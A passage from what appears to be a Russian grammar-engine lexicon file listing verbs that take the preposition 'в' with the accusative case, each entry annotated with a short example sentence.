rus_verbs:вплывать{}, // корабль вплывает в порт rus_verbs:вплыть{}, // яхта вплыла в бухту rus_verbs:вползать{}, // дракон вползает в пещеру rus_verbs:вползти{}, // дракон вполз в свою пещеру rus_verbs:впорхнуть{}, // бабочка впорхнула в окно rus_verbs:впрессовать{}, // впрессовать деталь в плиту rus_verbs:впрессоваться{}, // впрессоваться в плиту rus_verbs:впрессовывать{}, // впрессовывать деталь в плиту rus_verbs:впрессовываться{}, // впрессовываться в плиту rus_verbs:впрыгивать{}, // Пассажир впрыгивает в вагон rus_verbs:впрыгнуть{}, // Пассажир впрыгнул в вагон rus_verbs:впрыскивать{}, // Форсунка впрыскивает топливо в цилиндр rus_verbs:впрыскиваться{}, // Топливо впрыскивается форсункой в цилиндр rus_verbs:впрыснуть{}, // Форсунка впрыснула топливную смесь в камеру сгорания rus_verbs:впрягать{}, // впрягать лошадь в телегу rus_verbs:впрягаться{}, // впрягаться в работу rus_verbs:впрячь{}, // впрячь лошадь в телегу rus_verbs:впрячься{}, // впрячься в работу rus_verbs:впускать{}, // впускать посетителей в музей rus_verbs:впускаться{}, // впускаться в помещение rus_verbs:впустить{}, // впустить посетителей в музей rus_verbs:впутать{}, // впутать кого-то во что-то rus_verbs:впутаться{}, // впутаться во что-то rus_verbs:впутывать{}, // впутывать кого-то во что-то rus_verbs:впутываться{}, // впутываться во что-то rus_verbs:врабатываться{}, // врабатываться в режим rus_verbs:вработаться{}, // вработаться в режим rus_verbs:врастать{}, // врастать в кожу rus_verbs:врасти{}, // врасти в кожу инфинитив:врезать{ вид:несоверш }, // врезать замок в дверь инфинитив:врезать{ вид:соверш }, глагол:врезать{ вид:несоверш }, глагол:врезать{ вид:соверш }, деепричастие:врезая{}, деепричастие:врезав{}, прилагательное:врезанный{}, инфинитив:врезаться{ вид:несоверш }, // врезаться в стену инфинитив:врезаться{ вид:соверш }, глагол:врезаться{ вид:несоверш }, деепричастие:врезаясь{}, деепричастие:врезавшись{}, rus_verbs:врубить{}, // врубить в нагрузку rus_verbs:врываться{}, // врываться в здание rus_verbs:закачивать{}, // Насос закачивает топливо в бак rus_verbs:ввезти{}, // Предприятие ввезло товар в страну rus_verbs:вверстать{}, // Дизайнер вверстал блок в страницу rus_verbs:вверстывать{}, // Дизайнер с трудом вверстывает блоки в страницу rus_verbs:вверстываться{}, // Блок тяжело вверстывается в эту страницу rus_verbs:ввивать{}, // Женщина ввивает полоску в косу rus_verbs:вволакиваться{}, // Пойманная мышь вволакивается котиком в дом rus_verbs:вволочь{}, // Кот вволок в дом пойманную крысу rus_verbs:вдергивать{}, // приспособление вдергивает нитку в игольное ушко rus_verbs:вдернуть{}, // приспособление вдернуло нитку в игольное ушко rus_verbs:вдувать{}, // Челоек вдувает воздух в легкие второго человека rus_verbs:вдуваться{}, // Воздух вдувается в легкие человека rus_verbs:вламываться{}, // Полиция вламывается в квартиру rus_verbs:вовлекаться{}, // трудные подростки вовлекаются в занятие спортом rus_verbs:вовлечь{}, // вовлечь трудных подростков в занятие спортом rus_verbs:вовлечься{}, // вовлечься в занятие спортом rus_verbs:спуститься{}, // спуститься в подвал rus_verbs:спускаться{}, // спускаться в подвал rus_verbs:отправляться{}, // отправляться в дальнее плавание инфинитив:эмитировать{ вид:соверш }, // Поверхность эмитирует электроны в пространство инфинитив:эмитировать{ вид:несоверш }, глагол:эмитировать{ вид:соверш }, глагол:эмитировать{ вид:несоверш }, деепричастие:эмитируя{}, деепричастие:эмитировав{}, прилагательное:эмитировавший{ вид:несоверш }, // прилагательное:эмитировавший{ вид:соверш }, прилагательное:эмитирующий{}, прилагательное:эмитируемый{}, прилагательное:эмитированный{}, инфинитив:этапировать{вид:несоверш}, // Преступника этапировали в колонию инфинитив:этапировать{вид:соверш}, глагол:этапировать{вид:несоверш}, глагол:этапировать{вид:соверш}, деепричастие:этапируя{}, прилагательное:этапируемый{}, прилагательное:этапированный{}, rus_verbs:этапироваться{}, // Преступники этапируются в колонию rus_verbs:баллотироваться{}, // они баллотировались в жюри rus_verbs:бежать{}, // Олигарх с семьей любовницы бежал в другую страну rus_verbs:бросать{}, // Они бросали в фонтан медные монетки rus_verbs:бросаться{}, // Дети бросались в воду с моста rus_verbs:бросить{}, // Он бросил в фонтан медную монетку rus_verbs:броситься{}, // самоубийца бросился с моста в воду rus_verbs:превратить{}, // Найден белок, который превратит человека в супергероя rus_verbs:буксировать{}, // Буксир буксирует танкер в порт rus_verbs:буксироваться{}, // Сухогруз буксируется в порт rus_verbs:вбегать{}, // Курьер вбегает в дверь rus_verbs:вбежать{}, // Курьер вбежал в дверь rus_verbs:вбетонировать{}, // Опора была вбетонирована в пол rus_verbs:вбивать{}, // Мастер вбивает штырь в плиту rus_verbs:вбиваться{}, // Штырь вбивается в плиту rus_verbs:вбирать{}, // Вата вбирает в себя влагу rus_verbs:вбить{}, // Ученик вбил в доску маленький гвоздь rus_verbs:вбрасывать{}, // Арбитр вбрасывает мяч в игру rus_verbs:вбрасываться{}, // Мяч вбрасывается в игру rus_verbs:вбросить{}, // Судья вбросил мяч в игру rus_verbs:вбуравиться{}, // Сверло вбуравилось в бетон rus_verbs:вбуравливаться{}, // Сверло вбуравливается в бетон rus_verbs:вбухиваться{}, // Много денег вбухиваются в этот проект rus_verbs:вваливаться{}, // Человек вваливается в кабинет врача rus_verbs:ввалить{}, // Грузчики ввалили мешок в квартиру rus_verbs:ввалиться{}, // Человек ввалился в кабинет терапевта rus_verbs:вваривать{}, // Робот вваривает арматурину в плиту rus_verbs:ввариваться{}, // Арматура вваривается в плиту rus_verbs:вварить{}, // Робот вварил арматурину в плиту rus_verbs:влезть{}, // Предприятие ввезло товар в страну rus_verbs:ввернуть{}, // Вверни новую лампочку в люстру rus_verbs:ввернуться{}, // Лампочка легко ввернулась в патрон rus_verbs:ввертывать{}, // Электрик ввертывает лампочку в патрон rus_verbs:ввертываться{}, // Лампочка легко ввертывается в патрон rus_verbs:вверять{}, // Пациент вверяет свою жизнь в руки врача rus_verbs:вверяться{}, // Пациент вверяется в руки врача rus_verbs:ввести{}, // Агенство ввело своего представителя в совет директоров rus_verbs:ввиваться{}, // полоска ввивается в косу rus_verbs:ввинтить{}, // Отвертка ввинтила шуруп в дерево rus_verbs:ввинтиться{}, // Шуруп ввинтился в дерево rus_verbs:ввинчивать{}, // Рука ввинчивает саморез в стену rus_verbs:ввинчиваться{}, // Саморез ввинчивается в стену rus_verbs:вводить{}, // Агенство вводит своего представителя в совет директоров rus_verbs:вводиться{}, // Представитель агенства вводится в совет директоров // rus_verbs:ввозить{}, // Фирма ввозит в страну станки и сырье rus_verbs:ввозиться{}, // Станки и сырье ввозятся в страну rus_verbs:вволакивать{}, // Пойманная мышь вволакивается котиком в дом rus_verbs:вворачивать{}, // Электрик вворачивает новую лампочку в патрон rus_verbs:вворачиваться{}, // Новая лампочка легко вворачивается в патрон rus_verbs:ввязаться{}, // Разведрота ввязалась в бой rus_verbs:ввязываться{}, // Передовые части ввязываются в бой rus_verbs:вглядеться{}, // Охранник вгляделся в темный коридор rus_verbs:вглядываться{}, // Охранник внимательно вглядывается в монитор rus_verbs:вгонять{}, // Эта музыка вгоняет меня в депрессию rus_verbs:вгрызаться{}, // Зонд вгрызается в поверхность астероида rus_verbs:вгрызться{}, // Зонд вгрызся в поверхность астероида rus_verbs:вдаваться{}, // Вы не должны вдаваться в юридические детали rus_verbs:вдвигать{}, // Робот вдвигает контейнер в ячейку rus_verbs:вдвигаться{}, // Контейнер вдвигается в ячейку rus_verbs:вдвинуть{}, // манипулятор вдвинул деталь в печь rus_verbs:вдвинуться{}, // деталь вдвинулась в печь rus_verbs:вдевать{}, // портниха быстро вдевает нитку в иголку rus_verbs:вдеваться{}, // нитка быстро вдевается в игольное ушко rus_verbs:вдеть{}, // портниха быстро вдела нитку в игольное ушко rus_verbs:вдеться{}, // нитка быстро вделась в игольное ушко rus_verbs:вделать{}, // мастер вделал розетку в стену rus_verbs:вделывать{}, // мастер вделывает выключатель в стену rus_verbs:вделываться{}, // кронштейн вделывается в стену rus_verbs:вдергиваться{}, // нитка легко вдергивается в игольное ушко rus_verbs:вдернуться{}, // нитка легко вдернулась в игольное ушко rus_verbs:вдолбить{}, // Американцы обещали вдолбить страну в каменный век rus_verbs:вдумываться{}, // Мальчик обычно не вдумывался в сюжет фильмов rus_verbs:вдыхать{}, // мы вдыхаем в себя весь этот смог rus_verbs:вдыхаться{}, // Весь этот смог вдыхается в легкие rus_verbs:вернуть{}, // Книгу надо вернуть в библиотеку rus_verbs:вернуться{}, // Дети вернулись в библиотеку rus_verbs:вжаться{}, // Водитель вжался в кресло rus_verbs:вживаться{}, // Актер вживается в новую роль rus_verbs:вживить{}, // Врачи вживили стимулятор в тело пациента rus_verbs:вживиться{}, // Стимулятор вживился в тело пациента rus_verbs:вживлять{}, // Врачи вживляют стимулятор в тело пациента rus_verbs:вживляться{}, // Стимулятор вживляется в тело rus_verbs:вжиматься{}, // Видитель инстинктивно вжимается в кресло rus_verbs:вжиться{}, // Актер вжился в свою новую роль rus_verbs:взвиваться{}, // Воздушный шарик взвивается в небо rus_verbs:взвинтить{}, // Кризис взвинтил цены в небо rus_verbs:взвинтиться{}, // Цены взвинтились в небо rus_verbs:взвинчивать{}, // Кризис взвинчивает цены в небо rus_verbs:взвинчиваться{}, // Цены взвинчиваются в небо rus_verbs:взвиться{}, // Шарики взвились в небо rus_verbs:взлетать{}, // Экспериментальный аппарат взлетает в воздух rus_verbs:взлететь{}, // Экспериментальный аппарат взлетел в небо rus_verbs:взмывать{}, // шарики взмывают в небо rus_verbs:взмыть{}, // Шарики взмыли в небо rus_verbs:вильнуть{}, // Машина вильнула в левую сторону rus_verbs:вкалывать{}, // Медсестра вкалывает иглу в вену rus_verbs:вкалываться{}, // Игла вкалываться прямо в вену rus_verbs:вкапывать{}, // рабочий вкапывает сваю в землю rus_verbs:вкапываться{}, // Свая вкапывается в землю rus_verbs:вкатить{}, // рабочие вкатили бочку в гараж rus_verbs:вкатиться{}, // машина вкатилась в гараж rus_verbs:вкатывать{}, // рабочик вкатывают бочку в гараж rus_verbs:вкатываться{}, // машина вкатывается в гараж rus_verbs:вкачать{}, // Механики вкачали в бак много топлива rus_verbs:вкачивать{}, // Насос вкачивает топливо в бак rus_verbs:вкачиваться{}, // Топливо вкачивается в бак rus_verbs:вкидать{}, // Манипулятор вкидал груз в контейнер rus_verbs:вкидывать{}, // Манипулятор вкидывает груз в контейнер rus_verbs:вкидываться{}, // Груз вкидывается в контейнер rus_verbs:вкладывать{}, // Инвестор вкладывает деньги в акции rus_verbs:вкладываться{}, // Инвестор вкладывается в акции rus_verbs:вклеивать{}, // Мальчик вклеивает картинку в тетрадь rus_verbs:вклеиваться{}, // Картинка вклеивается в тетрадь rus_verbs:вклеить{}, // Мальчик вклеил картинку в тетрадь rus_verbs:вклеиться{}, // Картинка вклеилась в тетрадь rus_verbs:вклепать{}, // Молоток вклепал заклепку в лист rus_verbs:вклепывать{}, // Молоток вклепывает заклепку в лист rus_verbs:вклиниваться{}, // Машина вклинивается в поток rus_verbs:вклиниться{}, // машина вклинилась в поток rus_verbs:включать{}, // Команда включает компьютер в сеть rus_verbs:включаться{}, // Машина включается в глобальную сеть rus_verbs:включить{}, // Команда включила компьютер в сеть rus_verbs:включиться{}, // Компьютер включился в сеть rus_verbs:вколачивать{}, // Столяр вколачивает гвоздь в доску rus_verbs:вколачиваться{}, // Гвоздь вколачивается в доску rus_verbs:вколотить{}, // Столяр вколотил гвоздь в доску rus_verbs:вколоть{}, // Медсестра вколола в мышцу лекарство rus_verbs:вкопать{}, // Рабочие вкопали сваю в землю rus_verbs:вкрадываться{}, // Ошибка вкрадывается в расчеты rus_verbs:вкраивать{}, // Портниха вкраивает вставку в юбку rus_verbs:вкраиваться{}, // Вставка вкраивается в юбку rus_verbs:вкрасться{}, // Ошибка вкралась в расчеты rus_verbs:вкрутить{}, // Электрик вкрутил лампочку в патрон rus_verbs:вкрутиться{}, // лампочка легко вкрутилась в патрон rus_verbs:вкручивать{}, // Электрик вкручивает лампочку в патрон rus_verbs:вкручиваться{}, // Лампочка легко вкручивается в патрон rus_verbs:влазить{}, // Разъем влазит в отверствие rus_verbs:вламывать{}, // Полиция вламывается в квартиру rus_verbs:влетать{}, // Самолет влетает в грозовой фронт rus_verbs:влететь{}, // Самолет влетел в грозовой фронт rus_verbs:вливать{}, // Механик вливает масло в картер rus_verbs:вливаться{}, // Масло вливается в картер rus_verbs:влипать{}, // Эти неудачники постоянно влипают в разные происшествия rus_verbs:влипнуть{}, // Эти неудачники опять влипли в неприятности rus_verbs:влить{}, // Механик влил свежее масло в картер rus_verbs:влиться{}, // Свежее масло влилось в бак rus_verbs:вложить{}, // Инвесторы вложили в эти акции большие средства rus_verbs:вложиться{}, // Инвесторы вложились в эти акции rus_verbs:влюбиться{}, // Коля влюбился в Олю rus_verbs:влюблять{}, // Оля постоянно влюбляла в себя мальчиков rus_verbs:влюбляться{}, // Оля влюбляется в спортсменов rus_verbs:вляпаться{}, // Коля вляпался в неприятность rus_verbs:вляпываться{}, // Коля постоянно вляпывается в неприятности rus_verbs:вменить{}, // вменить в вину rus_verbs:вменять{}, // вменять в обязанность rus_verbs:вмерзать{}, // Колеса вмерзают в лед rus_verbs:вмерзнуть{}, // Колеса вмерзли в лед rus_verbs:вмести{}, // вмести в дом rus_verbs:вместить{}, // вместить в ёмкость rus_verbs:вместиться{}, // Прибор не вместился в зонд rus_verbs:вмешаться{}, // Начальник вмешался в конфликт rus_verbs:вмешивать{}, // Не вмешивай меня в это дело rus_verbs:вмешиваться{}, // Начальник вмешивается в переговоры rus_verbs:вмещаться{}, // Приборы не вмещаются в корпус rus_verbs:вминать{}, // вминать в корпус rus_verbs:вминаться{}, // кронштейн вминается в корпус rus_verbs:вмонтировать{}, // Конструкторы вмонтировали в корпус зонда новые приборы rus_verbs:вмонтироваться{}, // Новые приборы легко вмонтировались в корпус зонда rus_verbs:вмораживать{}, // Установка вмораживает сваи в грунт rus_verbs:вмораживаться{}, // Сваи вмораживаются в грунт rus_verbs:вморозить{}, // Установка вморозила сваи в грунт rus_verbs:вмуровать{}, // Сейф был вмурован в стену rus_verbs:вмуровывать{}, // вмуровывать сейф в стену rus_verbs:вмуровываться{}, // сейф вмуровывается в бетонную стену rus_verbs:внедрить{}, // внедрить инновацию в производство rus_verbs:внедриться{}, // Шпион внедрился в руководство rus_verbs:внедрять{}, // внедрять инновации в производство rus_verbs:внедряться{}, // Шпионы внедряются в руководство rus_verbs:внести{}, // внести коробку в дом rus_verbs:внестись{}, // внестись в список приглашенных гостей rus_verbs:вникать{}, // Разработчик вникает в детали задачи rus_verbs:вникнуть{}, // Дизайнер вник в детали задачи rus_verbs:вносить{}, // вносить новое действующее лицо в список главных героев rus_verbs:вноситься{}, // вноситься в список главных персонажей rus_verbs:внюхаться{}, // Пёс внюхался в ароматы леса rus_verbs:внюхиваться{}, // Пёс внюхивается в ароматы леса rus_verbs:вобрать{}, // вобрать в себя лучшие методы борьбы с вредителями rus_verbs:вовлекать{}, // вовлекать трудных подростков в занятие спортом rus_verbs:вогнать{}, // вогнал человека в тоску rus_verbs:водворить{}, // водворить преступника в тюрьму rus_verbs:возвернуть{}, // возвернуть в родную стихию rus_verbs:возвернуться{}, // возвернуться в родную стихию rus_verbs:возвести{}, // возвести число в четную степень rus_verbs:возводить{}, // возводить число в четную степень rus_verbs:возводиться{}, // число возводится в четную степень rus_verbs:возвратить{}, // возвратить коров в стойло rus_verbs:возвратиться{}, // возвратиться в родной дом rus_verbs:возвращать{}, // возвращать коров в стойло rus_verbs:возвращаться{}, // возвращаться в родной дом rus_verbs:войти{}, // войти в галерею славы rus_verbs:вонзать{}, // Коля вонзает вилку в котлету rus_verbs:вонзаться{}, // Вилка вонзается в котлету rus_verbs:вонзить{}, // Коля вонзил вилку в котлету rus_verbs:вонзиться{}, // Вилка вонзилась в сочную котлету rus_verbs:воплотить{}, // Коля воплотил свои мечты в реальность rus_verbs:воплотиться{}, // Мечты воплотились в реальность rus_verbs:воплощать{}, // Коля воплощает мечты в реальность rus_verbs:воплощаться{}, // Мечты иногда воплощаются в реальность rus_verbs:ворваться{}, // Перемены неожиданно ворвались в размеренную жизнь rus_verbs:воспарить{}, // Душа воспарила в небо rus_verbs:воспарять{}, // Душа воспаряет в небо rus_verbs:врыть{}, // врыть опору в землю rus_verbs:врыться{}, // врыться в землю rus_verbs:всадить{}, // всадить пулю в сердце rus_verbs:всаживать{}, // всаживать нож в бок rus_verbs:всасывать{}, // всасывать воду в себя rus_verbs:всасываться{}, // всасываться в ёмкость rus_verbs:вселить{}, // вселить надежду в кого-либо rus_verbs:вселиться{}, // вселиться в пустующее здание rus_verbs:вселять{}, // вселять надежду в кого-то rus_verbs:вселяться{}, // вселяться в пустующее здание rus_verbs:вскидывать{}, // вскидывать руку в небо rus_verbs:вскинуть{}, // вскинуть руку в небо rus_verbs:вслушаться{}, // вслушаться в звуки rus_verbs:вслушиваться{}, // вслушиваться в шорох rus_verbs:всматриваться{}, // всматриваться в темноту rus_verbs:всмотреться{}, // всмотреться в темень rus_verbs:всовывать{}, // всовывать палец в отверстие rus_verbs:всовываться{}, // всовываться в форточку rus_verbs:всосать{}, // всосать жидкость в себя rus_verbs:всосаться{}, // всосаться в кожу rus_verbs:вставить{}, // вставить ключ в замок rus_verbs:вставлять{}, // вставлять ключ в замок rus_verbs:встраивать{}, // встраивать черный ход в систему защиты rus_verbs:встраиваться{}, // встраиваться в систему безопасности rus_verbs:встревать{}, // встревать в разговор rus_verbs:встроить{}, // встроить секретный модуль в систему безопасности rus_verbs:встроиться{}, // встроиться в систему безопасности rus_verbs:встрять{}, // встрять в разговор rus_verbs:вступать{}, // вступать в действующую армию rus_verbs:вступить{}, // вступить в действующую армию rus_verbs:всунуть{}, // всунуть палец в отверстие rus_verbs:всунуться{}, // всунуться в форточку инфинитив:всыпать{вид:соверш}, // всыпать порошок в контейнер инфинитив:всыпать{вид:несоверш}, глагол:всыпать{вид:соверш}, глагол:всыпать{вид:несоверш}, деепричастие:всыпав{}, деепричастие:всыпая{}, прилагательное:всыпавший{ вид:соверш }, // прилагательное:всыпавший{ вид:несоверш }, прилагательное:всыпанный{}, // прилагательное:всыпающий{}, инфинитив:всыпаться{ вид:несоверш}, // всыпаться в контейнер // инфинитив:всыпаться{ вид:соверш}, // глагол:всыпаться{ вид:соверш}, глагол:всыпаться{ вид:несоверш}, // деепричастие:всыпавшись{}, деепричастие:всыпаясь{}, // прилагательное:всыпавшийся{ вид:соверш }, // прилагательное:всыпавшийся{ вид:несоверш }, // прилагательное:всыпающийся{}, rus_verbs:вталкивать{}, // вталкивать деталь в ячейку rus_verbs:вталкиваться{}, // вталкиваться в ячейку rus_verbs:втаптывать{}, // втаптывать в грязь rus_verbs:втаптываться{}, // втаптываться в грязь rus_verbs:втаскивать{}, // втаскивать мешок в комнату rus_verbs:втаскиваться{}, // втаскиваться в комнату rus_verbs:втащить{}, // втащить мешок в комнату rus_verbs:втащиться{}, // втащиться в комнату rus_verbs:втекать{}, // втекать в бутылку rus_verbs:втемяшивать{}, // втемяшивать в голову rus_verbs:втемяшиваться{}, // втемяшиваться в голову rus_verbs:втемяшить{}, // втемяшить в голову rus_verbs:втемяшиться{}, // втемяшиться в голову rus_verbs:втереть{}, // втереть крем в кожу rus_verbs:втереться{}, // втереться в кожу rus_verbs:втесаться{}, // втесаться в группу rus_verbs:втесывать{}, // втесывать в группу rus_verbs:втесываться{}, // втесываться в группу rus_verbs:втечь{}, // втечь в бак rus_verbs:втирать{}, // втирать крем в кожу rus_verbs:втираться{}, // втираться в кожу rus_verbs:втискивать{}, // втискивать сумку в вагон rus_verbs:втискиваться{}, // втискиваться в переполненный вагон rus_verbs:втиснуть{}, // втиснуть сумку в вагон rus_verbs:втиснуться{}, // втиснуться в переполненный вагон метро rus_verbs:втолкать{}, // втолкать коляску в лифт rus_verbs:втолкаться{}, // втолкаться в вагон метро rus_verbs:втолкнуть{}, // втолкнуть коляску в лифт rus_verbs:втолкнуться{}, // втолкнуться в вагон метро rus_verbs:втолочь{}, // втолочь в смесь rus_verbs:втоптать{}, // втоптать цветы в землю rus_verbs:вторгаться{}, // вторгаться в чужую зону rus_verbs:вторгнуться{}, // вторгнуться в частную жизнь rus_verbs:втравить{}, // втравить кого-то в неприятности rus_verbs:втравливать{}, // втравливать кого-то в неприятности rus_verbs:втрамбовать{}, // втрамбовать камни в землю rus_verbs:втрамбовывать{}, // втрамбовывать камни в землю rus_verbs:втрамбовываться{}, // втрамбовываться в землю rus_verbs:втрескаться{}, // втрескаться в кого-то rus_verbs:втрескиваться{}, // втрескиваться в кого-либо rus_verbs:втыкать{}, // втыкать вилку в котлетку rus_verbs:втыкаться{}, // втыкаться в розетку rus_verbs:втюриваться{}, // втюриваться в кого-либо rus_verbs:втюриться{}, // втюриться в кого-либо rus_verbs:втягивать{}, // втягивать что-то в себя rus_verbs:втягиваться{}, // втягиваться в себя rus_verbs:втянуться{}, // втянуться в себя rus_verbs:вцементировать{}, // вцементировать сваю в фундамент rus_verbs:вчеканить{}, // вчеканить надпись в лист rus_verbs:вчитаться{}, // вчитаться внимательнее в текст rus_verbs:вчитываться{}, // вчитываться внимательнее в текст rus_verbs:вчувствоваться{}, // вчувствоваться в роль rus_verbs:вшагивать{}, // вшагивать в новую жизнь rus_verbs:вшагнуть{}, // вшагнуть в новую жизнь rus_verbs:вшивать{}, // вшивать заплату в рубашку rus_verbs:вшиваться{}, // вшиваться в ткань rus_verbs:вшить{}, // вшить заплату в ткань rus_verbs:въедаться{}, // въедаться в мякоть rus_verbs:въезжать{}, // въезжать в гараж rus_verbs:въехать{}, // въехать в гараж rus_verbs:выиграть{}, // Коля выиграл в шахматы rus_verbs:выигрывать{}, // Коля часто выигрывает у меня в шахматы rus_verbs:выкладывать{}, // выкладывать в общий доступ rus_verbs:выкладываться{}, // выкладываться в общий доступ rus_verbs:выкрасить{}, // выкрасить машину в розовый цвет rus_verbs:выкраситься{}, // выкраситься в дерзкий розовый цвет rus_verbs:выкрашивать{}, // выкрашивать волосы в красный цвет rus_verbs:выкрашиваться{}, // выкрашиваться в красный цвет rus_verbs:вылезать{}, // вылезать в открытое пространство rus_verbs:вылезти{}, // вылезти в открытое пространство rus_verbs:выливать{}, // выливать в бутылку rus_verbs:выливаться{}, // выливаться в ёмкость rus_verbs:вылить{}, // вылить отходы в канализацию rus_verbs:вылиться{}, // Топливо вылилось в воду rus_verbs:выложить{}, // выложить в общий доступ rus_verbs:выпадать{}, // выпадать в осадок rus_verbs:выпрыгивать{}, // выпрыгивать в окно rus_verbs:выпрыгнуть{}, // выпрыгнуть в окно rus_verbs:выродиться{}, // выродиться в жалкое подобие rus_verbs:вырождаться{}, // вырождаться в жалкое подобие славных предков rus_verbs:высеваться{}, // высеваться в землю rus_verbs:высеять{}, // высеять в землю rus_verbs:выслать{}, // выслать в страну постоянного пребывания rus_verbs:высморкаться{}, // высморкаться в платок rus_verbs:высморкнуться{}, // высморкнуться в платок rus_verbs:выстреливать{}, // выстреливать в цель rus_verbs:выстреливаться{}, // выстреливаться в цель rus_verbs:выстрелить{}, // выстрелить в цель rus_verbs:вытекать{}, // вытекать в озеро rus_verbs:вытечь{}, // вытечь в воду rus_verbs:смотреть{}, // смотреть в будущее rus_verbs:подняться{}, // подняться в лабораторию rus_verbs:послать{}, // послать в магазин rus_verbs:слать{}, // слать в неизвестность rus_verbs:добавить{}, // добавить в суп rus_verbs:пройти{}, // пройти в лабораторию rus_verbs:положить{}, // положить в ящик rus_verbs:прислать{}, // прислать в полицию rus_verbs:упасть{}, // упасть в пропасть инфинитив:писать{ aux stress="пис^ать" }, // писать в газету инфинитив:писать{ aux stress="п^исать" }, // писать в штанишки глагол:писать{ aux stress="п^исать" }, глагол:писать{ aux stress="пис^ать" }, деепричастие:писая{}, прилагательное:писавший{ aux stress="п^исавший" }, // писавший в штанишки прилагательное:писавший{ aux stress="пис^авший" }, // писавший в газету rus_verbs:собираться{}, // собираться в поход rus_verbs:звать{}, // звать в ресторан rus_verbs:направиться{}, // направиться в ресторан rus_verbs:отправиться{}, // отправиться в ресторан rus_verbs:поставить{}, // поставить в угол rus_verbs:целить{}, // целить в мишень rus_verbs:попасть{}, // попасть в переплет rus_verbs:ударить{}, // ударить в больное место rus_verbs:закричать{}, // закричать в микрофон rus_verbs:опустить{}, // опустить в воду rus_verbs:принести{}, // принести в дом бездомного щенка rus_verbs:отдать{}, // отдать в хорошие руки rus_verbs:ходить{}, // ходить в школу rus_verbs:уставиться{}, // уставиться в экран rus_verbs:приходить{}, // приходить в бешенство rus_verbs:махнуть{}, // махнуть в Италию rus_verbs:сунуть{}, // сунуть в замочную скважину rus_verbs:явиться{}, // явиться в расположение части rus_verbs:уехать{}, // уехать в город rus_verbs:целовать{}, // целовать в лобик rus_verbs:повести{}, // повести в бой rus_verbs:опуститься{}, // опуститься в кресло rus_verbs:передать{}, // передать в архив rus_verbs:побежать{}, // побежать в школу rus_verbs:стечь{}, // стечь в воду rus_verbs:уходить{}, // уходить добровольцем в армию rus_verbs:привести{}, // привести в дом rus_verbs:шагнуть{}, // шагнуть в неизвестность rus_verbs:собраться{}, // собраться в поход rus_verbs:заглянуть{}, // заглянуть в основу rus_verbs:поспешить{}, // поспешить в церковь rus_verbs:поцеловать{}, // поцеловать в лоб rus_verbs:перейти{}, // перейти в высшую лигу rus_verbs:поверить{}, // поверить в искренность rus_verbs:глянуть{}, // глянуть в оглавление rus_verbs:зайти{}, // зайти в кафетерий rus_verbs:подобрать{}, // подобрать в лесу rus_verbs:проходить{}, // проходить в помещение rus_verbs:глядеть{}, // глядеть в глаза rus_verbs:пригласить{}, // пригласить в театр rus_verbs:позвать{}, // позвать в класс rus_verbs:усесться{}, // усесться в кресло rus_verbs:поступить{}, // поступить в институт rus_verbs:лечь{}, // лечь в постель rus_verbs:поклониться{}, // поклониться в пояс rus_verbs:потянуться{}, // потянуться в лес rus_verbs:колоть{}, // колоть в ягодицу rus_verbs:присесть{}, // присесть в кресло rus_verbs:оглядеться{}, // оглядеться в зеркало rus_verbs:поглядеть{}, // поглядеть в зеркало rus_verbs:превратиться{}, // превратиться в лягушку rus_verbs:принимать{}, // принимать во внимание rus_verbs:звонить{}, // звонить в колокола rus_verbs:привезти{}, // привезти в гостиницу rus_verbs:рухнуть{}, // рухнуть в пропасть rus_verbs:пускать{}, // пускать в дело rus_verbs:отвести{}, // отвести в больницу rus_verbs:сойти{}, // сойти в ад rus_verbs:набрать{}, // набрать в команду rus_verbs:собрать{}, // собрать в кулак rus_verbs:двигаться{}, // двигаться в каюту rus_verbs:падать{}, // падать в область нуля rus_verbs:полезть{}, // полезть в драку rus_verbs:направить{}, // направить в стационар rus_verbs:приводить{}, // приводить в чувство rus_verbs:толкнуть{}, // толкнуть в бок rus_verbs:кинуться{}, // кинуться в драку rus_verbs:ткнуть{}, // ткнуть в глаз rus_verbs:заключить{}, // заключить в объятия rus_verbs:подниматься{}, // подниматься в небо rus_verbs:расти{}, // расти в глубину rus_verbs:налить{}, // налить в кружку rus_verbs:швырнуть{}, // швырнуть в бездну rus_verbs:прыгнуть{}, // прыгнуть в дверь rus_verbs:промолчать{}, // промолчать в тряпочку rus_verbs:садиться{}, // садиться в кресло rus_verbs:лить{}, // лить в кувшин rus_verbs:дослать{}, // дослать деталь в держатель rus_verbs:переслать{}, // переслать в обработчик rus_verbs:удалиться{}, // удалиться в совещательную комнату rus_verbs:разглядывать{}, // разглядывать в бинокль rus_verbs:повесить{}, // повесить в шкаф инфинитив:походить{ вид:соверш }, // походить в институт глагол:походить{ вид:соверш }, деепричастие:походив{}, // прилагательное:походивший{вид:соверш}, rus_verbs:помчаться{}, // помчаться в класс rus_verbs:свалиться{}, // свалиться в яму rus_verbs:сбежать{}, // сбежать в Англию rus_verbs:стрелять{}, // стрелять в цель rus_verbs:обращать{}, // обращать в свою веру rus_verbs:завести{}, // завести в дом rus_verbs:приобрести{}, // приобрести в рассрочку rus_verbs:сбросить{}, // сбросить в яму rus_verbs:устроиться{}, // устроиться в крупную корпорацию rus_verbs:погрузиться{}, // погрузиться в пучину rus_verbs:течь{}, // течь в канаву rus_verbs:произвести{}, // произвести в звание майора rus_verbs:метать{}, // метать в цель rus_verbs:пустить{}, // пустить в дело rus_verbs:полететь{}, // полететь в Европу rus_verbs:пропустить{}, // пропустить в здание rus_verbs:рвануть{}, // рвануть в отпуск rus_verbs:заходить{}, // заходить в каморку rus_verbs:нырнуть{}, // нырнуть в прорубь rus_verbs:рвануться{}, // рвануться в атаку rus_verbs:приподняться{}, // приподняться в воздух rus_verbs:превращаться{}, // превращаться в крупную величину rus_verbs:прокричать{}, // прокричать в ухо rus_verbs:записать{}, // записать в блокнот rus_verbs:забраться{}, // забраться в шкаф rus_verbs:приезжать{}, // приезжать в деревню rus_verbs:продать{}, // продать в рабство rus_verbs:проникнуть{}, // проникнуть в центр rus_verbs:устремиться{}, // устремиться в открытое море rus_verbs:посадить{}, // посадить в кресло rus_verbs:упереться{}, // упереться в пол rus_verbs:ринуться{}, // ринуться в буфет rus_verbs:отдавать{}, // отдавать в кадетское училище rus_verbs:отложить{}, // отложить в долгий ящик rus_verbs:убежать{}, // убежать в приют rus_verbs:оценить{}, // оценить в миллион долларов rus_verbs:поднимать{}, // поднимать в стратосферу rus_verbs:отослать{}, // отослать в квалификационную комиссию rus_verbs:отодвинуть{}, // отодвинуть в дальний угол rus_verbs:торопиться{}, // торопиться в школу rus_verbs:попадаться{}, // попадаться в руки rus_verbs:поразить{}, // поразить в самое сердце rus_verbs:доставить{}, // доставить в квартиру 